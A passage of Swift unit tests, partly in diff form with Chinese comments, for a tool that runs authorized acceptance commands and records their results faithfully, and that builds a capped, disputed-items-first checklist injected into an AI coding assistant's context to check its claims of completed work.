XCTAssertTrue(evidence.isProof, "Hub 自己跑出来的必须算证明")
}
/// 退出码要如实记,失败也是有效证据。
func testFailureIsRecordedFaithfully() async throws {
let verifier = AcceptanceVerifier(configuration: .init(enabled: true, timeout: 30))
let outcome = await verifier.verify(
// 在一个不是仓库的目录里跑,git 必然非零退出。
acceptance: "git status", cwd: "/",
authorized: ["git status"]
)
guard case .ran(let evidence) = outcome,
case .ran(_, let exitCode, let tail) = evidence
else { return XCTFail("应该跑起来并记下失败") }
XCTAssertNotEqual(exitCode, 0)
XCTAssertFalse(tail.isEmpty, "失败原因必须留下来,否则这条证据没用")
}
}
@@ -220,6 +220,45 @@ final class AcceptanceStoreTests: XCTestCase {
XCTAssertEqual(store.injectionText(for: project)?.contains("不是你自己列的 todo"), true)
}
/// 一次最多摆 6 条,而且**省略了多少必须说出来**。
///
/// 实测在一个真实项目上拦了 12 条,带完整验收条件之后糊了满屏 ——
/// 要点一多就没人看(Claude 也一样),反而比不拦更容易被忽略。
/// 静默截断更糟:会让人以为"就这几条"。
func testInjectionTextIsCappedAndSaysHowManyWereOmitted() {
let store = AcceptanceStore(directory: nil)
for index in 0..<12 {
store.add(AcceptanceItem(text: "要点 \(index)", origin: .userPrompt), to: project)
}
let text = store.injectionText(for: project) ?? ""
let listed = text.split(separator: "\n").filter { $0.hasPrefix("- [") }.count
XCTAssertEqual(listed, 6)
XCTAssertTrue(text.contains("另有 6 条未列出"), "省略了多少必须说出来")
}
/// 存疑的必须排在注入正文最前面。
///
/// 那一档是「自报做完但代码里找不到」—— 最该先说清楚的一类,
/// 排在后面会被 6 条的上限挤掉。
func testDisputedItemsComeFirstInTheInjection() {
let store = AcceptanceStore(directory: nil)
for index in 0..<8 {
store.add(AcceptanceItem(text: "普通要点 \(index)", origin: .userPrompt), to: project)
}
let suspicious = AcceptanceItem(text: "这条自报做了但找不到", origin: .userPrompt)
store.add(suspicious, to: project)
store.setStatus(.disputed, forID: suspicious.id, in: project)
let text = store.injectionText(for: project) ?? ""
XCTAssertTrue(
text.contains("这条自报做了但找不到"),
"存疑项被 6 条上限挤掉了 —— 它恰恰是最该先说的"
)
}
/// 已经有定论的项不该出现在注入正文里。
func testInjectionTextOmitsSettledItems() {
let store = AcceptanceStore(directory: nil)